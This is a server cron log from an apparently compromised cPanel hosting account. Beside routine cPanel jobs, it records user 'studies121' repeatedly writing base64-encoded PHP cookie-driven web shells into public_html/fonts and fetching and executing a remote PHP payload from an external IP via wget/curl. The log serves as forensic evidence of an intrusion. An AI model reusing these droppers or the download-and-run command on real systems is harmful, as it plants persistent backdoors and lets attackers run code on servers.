Sep  6 04:23:01 ip-184-168-122-23 CROND[10974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:24:01 ip-184-168-122-23 CROND[11126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:24:01 ip-184-168-122-23 CROND[11129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:24:01 ip-184-168-122-23 CROND[11127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:24:01 ip-184-168-122-23 CROND[11130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:24:01 ip-184-168-122-23 CROND[11131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:25:01 ip-184-168-122-23 CROND[11222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:25:01 ip-184-168-122-23 CROND[11223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:25:01 ip-184-168-122-23 CROND[11225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:25:01 ip-184-168-122-23 CROND[11227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:25:01 ip-184-168-122-23 CROND[11228]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:25:01 ip-184-168-122-23 CROND[11232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:25:01 ip-184-168-122-23 CROND[11230]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 04:26:01 ip-184-168-122-23 CROND[11326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:26:01 ip-184-168-122-23 CROND[11325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:26:01 ip-184-168-122-23 CROND[11328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:26:01 ip-184-168-122-23 CROND[11327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:26:01 ip-184-168-122-23 CROND[11329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:27:01 ip-184-168-122-23 CROND[11412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:27:01 ip-184-168-122-23 CROND[11413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:27:01 ip-184-168-122-23 CROND[11415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:27:01 ip-184-168-122-23 CROND[11414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:28:01 ip-184-168-122-23 CROND[11508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:28:01 ip-184-168-122-23 CROND[11511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:28:01 ip-184-168-122-23 CROND[11512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:28:01 ip-184-168-122-23 CROND[11510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:28:01 ip-184-168-122-23 CROND[11513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:29:01 ip-184-168-122-23 CROND[11604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:29:01 ip-184-168-122-23 CROND[11605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:29:01 ip-184-168-122-23 CROND[11606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:29:01 ip-184-168-122-23 CROND[11607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:30:01 ip-184-168-122-23 CROND[11699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:30:01 ip-184-168-122-23 CROND[11705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:30:01 ip-184-168-122-23 CROND[11706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:30:01 ip-184-168-122-23 CROND[11701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:30:01 ip-184-168-122-23 CROND[11702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:30:02 ip-184-168-122-23 CROND[11707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:30:02 ip-184-168-122-23 CROND[11708]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  6 04:30:02 ip-184-168-122-23 CROND[11709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:30:02 ip-184-168-122-23 CROND[11703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:30:02 ip-184-168-122-23 CROND[11704]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 04:31:02 ip-184-168-122-23 CROND[11808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:31:02 ip-184-168-122-23 CROND[11809]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 04:31:02 ip-184-168-122-23 CROND[11810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:31:02 ip-184-168-122-23 CROND[11812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:31:02 ip-184-168-122-23 CROND[11811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:32:01 ip-184-168-122-23 CROND[11893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:32:01 ip-184-168-122-23 CROND[11894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:32:01 ip-184-168-122-23 CROND[11895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:32:01 ip-184-168-122-23 CROND[11897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:32:01 ip-184-168-122-23 CROND[11896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:33:01 ip-184-168-122-23 CROND[12088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:33:01 ip-184-168-122-23 CROND[12091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:33:01 ip-184-168-122-23 CROND[12089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:33:01 ip-184-168-122-23 CROND[12090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:34:01 ip-184-168-122-23 CROND[12199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:34:01 ip-184-168-122-23 CROND[12201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:34:01 ip-184-168-122-23 CROND[12202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:34:01 ip-184-168-122-23 CROND[12200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:34:01 ip-184-168-122-23 CROND[12204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:35:01 ip-184-168-122-23 CROND[12315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:35:01 ip-184-168-122-23 CROND[12318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:35:01 ip-184-168-122-23 CROND[12322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:35:01 ip-184-168-122-23 CROND[12321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
